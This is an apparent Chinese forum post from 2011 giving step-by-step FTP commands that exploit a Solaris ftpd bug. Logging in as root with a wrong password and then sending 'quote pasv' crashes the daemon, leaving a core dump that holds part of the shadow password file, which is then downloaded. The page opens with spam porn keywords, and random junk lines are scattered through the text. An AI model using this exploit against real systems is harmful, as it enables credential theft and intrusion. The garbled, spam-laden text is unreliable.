久久综合伊人噜噜色,日本三级香港三级人妇电影精品,亚洲中文色资源,国产高清一区二区三区人妖
汶上信息港
標(biāo)題:
如何用FIP獲取shadow口令文件
[打印本頁(yè)]
作者:
雜七雜八
時(shí)間:
2011-1-12 21:01
標(biāo)題:
如何用FIP獲取shadow口令文件
該方法利用了Solaris 操作系統(tǒng)中FTPD的一個(gè)BUG,使得用戶可以獲得該機(jī)的口令文件。具體過(guò)程如下:
( O. p. h. [) ]' y, G# ~# C
" y- \2 Z7 E- a2 q* h+ G. O
1.通過(guò) ftp 正常登錄到目的主機(jī)上
7 K- C3 [$ m" \. w) |4 L
" ]" k, Y0 J, R m. g1 f9 ~5 a1 J! \: t
2.輸入如下命令序列:
Z1 p! C1 q- d* \# y4 \! z7 @
- j. X/ g5 z+ D5 X3 d
ftp> user root wrongpasswd
3 G, Y' q) O7 h0 d0 h2 v9 p
& ?7 [$ @ I& d0 C
ftp> quote pasv
. Y3 D- t, F" ~/ x. q- t
% @8 L& \3 n! p. |) |
3.這時(shí),ftpd會(huì)報(bào)錯(cuò)退出,同時(shí)會(huì)在當(dāng)前目錄下生成一個(gè)core,口令文件就包含在這個(gè)core中。
$ j6 i. D3 [# W: q2 w
3 n9 j7 Q$ Y' J9 Z* }3 X
4.再次進(jìn)入FTP >get core
! n) j$ d& T' _
( H) m/ O& r v. I( B
補(bǔ)充:雖然在core只有一部分shadow,但是對(duì)于系統(tǒng)來(lái)說(shuō)已經(jīng)是致命的打擊了
7 v3 `8 b6 L# @
, j0 L0 K" }4 R5 E' `$ K
歡迎光臨 汶上信息港 (http://www.junkejituan.com/)
Powered by Discuz! X3.5